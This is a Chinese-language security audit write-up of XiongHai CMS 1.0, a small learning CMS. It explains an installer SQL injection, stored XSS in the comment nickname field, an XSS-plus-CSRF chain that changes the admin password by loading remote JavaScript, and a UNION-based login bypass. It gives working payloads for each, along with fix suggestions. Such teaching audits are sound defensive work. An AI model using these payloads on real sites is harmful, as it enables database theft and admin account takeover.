0x001前言:
熊海CMS是一款小型的内容管理系统,可以用于入门的审计学习。
0x002:网站目录结构:
iseaCMS_1.0
├──admin 网站后台
├──css 网站css,js的一些静态文件
├──files 网站主页面和一些功能函数
├──images 图片
├──inc 连接数据库的一些配置文件
├──install 网站安装目录
├──seacmseditor 第三方的编辑器
├──template 网站模板
├──upload 网站文件上传目录
├──index.php 入口文件,直接包含到/files/index.php主页文件
0x003:安装处存在的sql注入:
漏洞分析:
漏洞存在的位置在安装时候的install/install.php
可以看到代码逻辑是通过判断是否有InstalLock.txt来判断是否需要安装
对传入的user参数没有经过过滤直接插入到了下面的update语句,mysql_error直接输出了报错信息,比较常见的报错注入
Payload:
1' and(updatexml(1,concat(0x7e,(select user()),0x7e),1));#
下面只需要在管理账号这一栏插入我们的payload,然后在插入的时候就会显示报错
修复建议:
可以看到设置的编码是utf-8编码的,我们进行转义
我们定义一个函数来进行转义,因为字符编码是utf-8的所以我们就可以进行转义,使用mysql_real_escape_string函数来进行一个转义从而正确的预防sql注入
0x004 前台存储型xss:
漏洞分析:
漏洞位置在files/submit.php
首先打开了session,对传入的type进行了addslashes进行转义,5-13行接受的参数没有进行过滤,如果没有进行二次过滤所以存在存储型xss,接着往下看
可以看到在35行使用了正则对输入的评论内容进行匹配, preg_match("/([\x81-\xfe][\x40-\xfe])对GBK中文编码的匹配,如果评论中不包含中文字符就会提示,接着向下看
在43-45行对输入的url进行判断,然后对Content进行了过滤,除去HTML代码然后进行了addslashes进行了转义,防止了xss的输入,但是在昵称的地方没有任何的过滤导致我们评论处在填写昵称的时候有一处存储型xss漏洞,参数是name,主要攻击目标是用户
修复建议:
使用htmlentities对输出的内容进行实体编码来进行修复
0x005修改管理员密码 存储型xss+csrf:
漏洞分析:
先看/admin/files/commentlist.php
在188行的位置会从数据库中取出来留言信息,在209-213行输出出来,这里从content表中查询出数据后没有经过任何过滤就输出在后台了,然后我们再跳到输入的地方看一下
发现输入的地方是跟之前评论处xss是一样的,这时候我们可以弹管理员的cookie进行cookie伪造进行登录
在/admin/files/manageinfo.php,看到在后台修改密码的地方只判断了俩次修改密码的地方不为空并且俩次输入的账号密码为一致的,然后在后面就会dm5进行编码后插入到我们的数据库当中去,不需要旧的密码也没有使用token
所以这里存在csrf漏洞再结合之前的xss可以打出一套组合拳修改管理员的账号密码,我们可以写一段js代码来进行修改管理员账号密码,我们只需要在远程写好js发送post数据,再使用src插入就可以了,这次的主要攻击目标是管理员。
payload:
<script src=”http://xx.xxx.xx..xx/xx.js”></script>
修复建议:
同样使用htmlentities对输出的内容进行实体编码
在修改密码的时候加上效验,添加一个原密码的验证,原密码是从数据库中取出来的password的md5,对输入的md5进行比对
0x006 万能密码:
漏洞分析:
漏洞位置admin/files/login.php
user没有做过滤直接插入到sql语句中去查询对比,正常的万能密码这样的,这显然是不同的,查看一下sql语句
Select user_id,user_type,email From users Whereuser_id=user And password=pass
我们在从数据库中查询密码的时候没有将password参数拼接在后面的sql语句中,数据库中存储的password是md5加密的,所以就要考虑是否可以进行绕过
此时user没有经过过滤直接拼接进入数据库中查询,password的md5的判断是从数据库中取出来的值和输入的值是否相同,我们可以进行伪造账号密码来进行登录
payload:
user: 1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#password:1
在第四个位置是一串md5,md5的值=1,第四个位置的md5值必须是password的md5值,此方法就等于伪造了一个管理员账号进行登录,这是正常查询管理员登录的表
使用union的方法,临时在manage下面插入临时的字段,并且添加的值是我们可控的,所以我们插入我们的payload就是通过传入新的md5加密后的password,达到绕过的效果
根据之前发现的sql注入发现此处也是存在sql注入的,就不再多说
修复建议:
对user传入的参数进行一个过滤,跟之前sql注入做的防御是一样的,在外部创建一个php文件直接include调用也可以